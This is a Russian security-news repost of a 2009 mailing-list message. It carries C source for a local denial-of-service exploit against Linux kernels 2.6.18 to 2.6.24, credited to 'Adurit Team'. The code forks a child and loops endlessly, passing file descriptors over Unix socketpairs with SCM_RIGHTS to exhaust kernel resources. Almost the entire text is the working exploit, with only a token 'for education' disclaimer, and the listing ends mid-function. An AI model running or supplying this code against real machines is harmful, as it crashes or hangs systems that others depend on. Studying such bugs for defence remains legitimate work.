Дополнительная информация

DoS против ядра Linux

Re: Linux Kernel 2.6.18/2.6.24/2.6. 20/2.6.22/2.6.21 denial of service exploit

From:	i9p_(at)_hotmail.fr <i9p_(at)_hotmail.fr>
Date:	4 января 2009 г.
Subject:	Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service exploit

/*
Linux Kernel 2.6.18/2.6.24/2.6.20/2.6.22/2.6.21 denial of service exploit

Author : Adurit Team
        >> djekmani4ever

Home : www.hightsec.com

greetz : adurit team - v4-team - Zigma - stack - Mr.safa7 - king sabri - alphanix - and all my friends

note : this code for education :)
*/

#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <assert.h>
#include <err.h>
#include <stdlib.h>

static int own_child(int *us)
{
       int pid;
       int s[2];
       struct msghdr mh;
       char crap[1024];
       struct iovec iov;
       struct cmsghdr *c;
       int *fd;
       int rc;

       pid = fork();
       if (pid == -1)
               err(1, "fork()");

       if (pid) {
             close(us[1]);

               return pid;
       }

       close(us[0]);

       memset(&mh, 0, sizeof(mh));
       iov.iov_base = "a";
       iov.iov_len  = 1;

       mh.msg_iov        = &iov;
       mh.msg_iovlen     = 1;
       mh.msg_control    = crap;
       mh.msg_controllen = sizeof(crap);

       c = CMSG_FIRSTHDR(&mh);
       assert(c);

       c->cmsg_level = SOL_SOCKET;
       c->cmsg_type  = SCM_RIGHTS;

       fd = (int*) CMSG_DATA(c);
       assert(fd);

       c->cmsg_len = CMSG_LEN(sizeof(int));
       mh.msg_controllen = c->cmsg_len;

       while (1) {
               if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
                       err(1, "socketpair()");

               *fd = s[0];

               rc = sendmsg(us[1], &mh, 0);
               if (rc == -1)
                       err(1, "sendmsg()");

               if (rc != iov.iov_len)
                       errx(1, "sent short");

               close(s[0]);
               close(us[1]);
               us[1] = s[1];
       }
}

static void own(void)
{       
       static int pid;
       static int us[2];
       char crap[1024];
       char morte[1024];
       struct cmsghdr *c;
       int rc;
       struct msghdr mh;
       struct iovec iov;
       int *fds;

       if (!pid) {
               if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
                       err(1, "socketpair()");
               pid = own_child(us);
       }

       iov.iov_base = morte;
       iov.iov_len  = sizeof(morte);

       memset(&mh, 0, sizeof(mh));
       mh.msg_iov        = &iov;
       mh.msg_iovlen     = 1;
       mh.msg_control    = crap;
       mh.msg_controllen = sizeof(crap);

       rc = recvmsg(us[0], &mh, 0);
       if (rc == -1)
               err(1, "recvmsg()");

       if (rc == 0)
               errx(1, "EOF");

       c = CMSG_FIRSTHDR(&mh);
       assert(c);
       assert(c->cmsg_type == SCM_RIGHTS);

       fds = (int*) CMSG_DATA(c);
       assert(fds);

       close(us[0]);
       us[0] = *fds;
}

int main(int argc, char *argv[])
{
       own();
       exit(0);